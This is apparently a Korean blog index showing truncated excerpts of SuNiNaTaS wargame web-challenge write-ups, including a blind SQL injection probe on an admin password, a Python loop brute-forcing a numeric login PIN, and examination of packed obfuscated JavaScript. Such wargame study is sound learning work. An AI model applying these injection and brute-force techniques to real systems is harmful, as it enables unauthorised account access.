목록SuNiNaTaS (19)
Bace
문제는 다음과 같다. 필터링 키워드들도 다 주어져 있다. 코드를 봤는데 힌트가 주어져 있다. guest / guest 로 로그인이 가능하고 admin의 pw를 찾으라고 한다. guest / guest 로 로그인해보았다. 로그인 성공 결과값은 OK가 들어간다. 일단 아래와 같이 보내 pw의 길이를 알아냈다. ?id=admin' and len(pw)
문제는 다음과 같다. 소스를 봐보았다. ID는 admin이고 PASSWORD는 0부터 9999 사이라고 한다. 코드를 통해 문제를 풀었다. import requests answer = '' for i in range(0,9999): url = "http://suninatas.com/challenge/web08/web08.asp" cookies = {'ASPSESSIONIDCASBTCDT':'자신의 ASPSESSIONID'} response = requests.post(url, cookies=cookies, data={'id':'admin','pw':i}) if response.text.find("Authkey") != -1: print 'Found {}'.format(i) break else: print..
문제는 다음과 같다. 갑자기 아이유가 나온다. 밑을 내려가봤더니 YES 버튼이 나온다. 버튼을 눌러봤더니 너무 느리다고 한다. 코드 중 YES 버튼 부분을 봐보았다. value의 YES를 가지고 chrome의 console에서 다음과 같이 버튼을 클릭해주었다. document.querySelector("input[value='YES']").click(); 새로고침 후 빠르게 console 창에 위와 같이 몇번 입력해봤더니 Congratulation이 뜨며 Authkey로 넘어갔다. # Auth
문제는 다음과 같다. 코드를 봐보았다. 중간에 eval(function~~ 이 있다. eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('g l=m o(\'0\',\'1\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'8\',\'9\',\'a\',\'b\',\'c\',\'d..